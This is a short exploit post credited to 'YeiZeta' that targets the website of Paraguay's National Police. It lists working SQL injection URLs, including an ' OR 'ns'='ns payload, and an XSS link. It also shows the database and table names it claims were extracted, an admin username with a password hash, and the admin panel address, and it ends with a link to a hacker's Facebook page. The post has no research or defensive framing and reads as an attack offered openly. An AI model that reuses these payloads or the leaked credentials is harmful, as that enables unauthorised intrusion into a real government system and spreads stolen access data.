SQL/XSS POLICIA NACIONAL PARAGUAY by yei zeta

######################Exploit#######################
# Exploit Title: SQL/XSS POLICIA NACIONAL PARAGUAY
#
# Exploit Author: YeiZeta
#
# Category: Web Application
#
##############################################



TABLETAS:

admin,agrupaciones,albumes,habilidades,imagenes,institucional,museoFotos,museoGalery,novedades,revistas,tramites,videos

Current DB: 	policiaNacional

XSS:

http://bit.ly/UZYN7E

SQL:

http://www.policianacional.gov.py/galeria_visor.php?id=1´
http://www.policianacional.gov.py/g_tramites.php?tipo=%27+OR+%27ns%27%3d%27ns&titulo=TRAMITES

Admin Login:

USUARIO:policia
contraseña:d173cab476c3c881fdc89b0dcfc18e95

http://www.policianacional.gov.py/admin/view/cms/
##############################################
https://www.facebook.com/TheJokerHack
##############################################